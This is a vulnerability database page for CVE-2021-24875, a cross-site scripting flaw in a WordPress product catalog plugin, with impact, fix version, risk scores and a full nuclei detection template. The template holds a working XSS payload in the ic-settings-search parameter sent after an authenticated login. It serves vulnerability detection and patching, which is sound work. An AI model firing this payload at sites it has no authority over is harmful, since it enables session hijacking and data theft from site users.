HexBrain

Browse / CVEs / CVE-2021-24875

CVE-2021-24875· implecode / ecommerce product catalog· CWE-79

WordPress eCommerce Product Catalog <3.0.39 - Cross-Site Scripting

mediumseverity
6.1CVSS score
1.7%likelihood of exploitation, next 30 days
77%of all CVEs are less likely
Readycheck to confirm it

WordPress eCommerce Product Catalog plugin before 3.0.39 contains a cross-site scripting vulnerability. The plugin does not escape the ic-settings-search parameter before outputting it back in the page in an attribute. This can allow an attacker to steal cookie-based authentication credentials and launch other attacks.

Impact

Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.

Fix

Fixed in version 3.0.39.

How to confirm it

Send: POST /wp-login.php ; GET /wp-admin/edit.php?post_type=al_product&page=product-settings.php&ic-settings-search=%22+style%3Danimation-name%3Arotation+onanimationstart%3Dalert%28docum…
Positive when: status_code_2 == 200 and contains(body_2, "alert(document.domain)") and contains(body_2, "eCommerce Product Catalog")

Run it with nuclei: nuclei -id CVE-2021-24875 -u <target>

The full check
id: CVE-2021-24875

info:
  name: WordPress eCommerce Product Catalog <3.0.39 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    WordPress eCommerce Product Catalog plugin before 3.0.39 contains a cross-site scripting vulnerability. The plugin does not escape the ic-settings-search parameter before outputting it back in the page in an attribute. This can allow an attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
  remediation: Fixed in version 3.0.39.
  reference:
    - https://wpscan.com/vulnerability/652efc4a-f931-4668-ae74-a58b288a5715
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24875
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-24875
    cwe-id: CWE-79
    epss-score: 0.01655
    epss-percentile: 0.76783
    cpe: cpe:2.3:a:implecode:ecommerce_product_catalog:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: implecode
    product: ecommerce_product_catalog
    framework: wordpress
  tags: cve2021,cve,wp,authenticated,wpscan,ecommerce-product-catalog,xss,wordpress,wp-plugin,implecode,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        GET /wp-admin/edit.php?post_type=al_product&page=product-settings.php&ic-settings-search=%22+style%3Danimation-name%3Arotation+onanimationstart%3Dalert%28document.domain%29%2F%2F HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code_2 == 200'
          - 'contains(body_2, "alert(document.domain)")'
          - 'contains(body_2, "eCommerce Product Catalog")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from